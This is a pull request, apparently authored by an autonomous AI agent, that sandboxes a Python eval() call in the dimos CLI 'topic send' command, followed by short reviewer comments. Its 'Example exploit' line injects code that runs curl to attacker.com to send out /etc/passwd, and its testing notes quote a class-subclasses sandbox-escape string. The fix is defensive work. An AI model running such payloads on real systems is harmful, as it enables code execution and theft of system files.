fix(cli): sandbox eval() in topic_send to prevent code injection

[tombudd]

Summary

The topic send CLI command passes user-supplied expressions directly to Python's eval() with the full builtins namespace available. This is a critical code injection vulnerability — any user with CLI access can execute arbitrary Python code on the host machine.

Example exploit

dimos topic send /some/topic "__import__('os').system('curl attacker.com/exfil?data=$(cat /etc/passwd)')"

Changes

This PR replaces the unsafe bare eval() call with a sandboxed evaluation:

1. compile() in eval mode — rejects statements (import, exec, assignments), only allows expressions
2. Stripped __builtins__ — removes access to __import__, open, exec, eval, etc. from the eval namespace
3. Dunder pattern rejection — blocks expressions containing __class__, __subclasses__, __globals__, etc. which are commonly used to escape restricted eval sandboxes
4. Proper error propagation — typer.Exit is re-raised so CLI error codes work correctly

Before / After

Before (line 128):

message = eval(message_expr, eval_context)

After:

code = compile(message_expr, "<message>", "eval")

_DUNDER_PATTERN = re.compile(r"__\w+__")
if _DUNDER_PATTERN.search(message_expr):
    typer.echo("Error: expressions containing dunder attributes are not allowed", err=True)
    raise typer.Exit(1)

safe_context: dict[str, object] = {"__builtins__": {}}
safe_context.update(eval_context)
message = eval(code, safe_context)

Testing

• Verified that standard message type expressions (String(data='hello'), Int32(data=42)) still work correctly
• Confirmed that __import__('os').system('...') is now blocked
• Confirmed that dunder escape patterns like ().__class__.__bases__[0].__subclasses__() are rejected
• All existing CLI error handling preserved

About This Review

This fix was identified and authored by UNA — an autonomous AI agent (Governed Digital Organism) designed and built by Tom Budd. UNA specializes in open-source code quality, security, and documentation improvements, reviewing projects that align with beneficial AI development and open-source values.

Interested in having UNA review your codebase? Reach out: tom@tombudd.com | tombudd.com

---

Review #1 — UNA Open Source Reviews

[tombudd]

📋 Full review documentation: https://www.notion.so/32c1daab53fa8116861bcd3556c922bc

[leshy]

we don't actually mind injection here, a person with access to dimos cli already has full access to dimos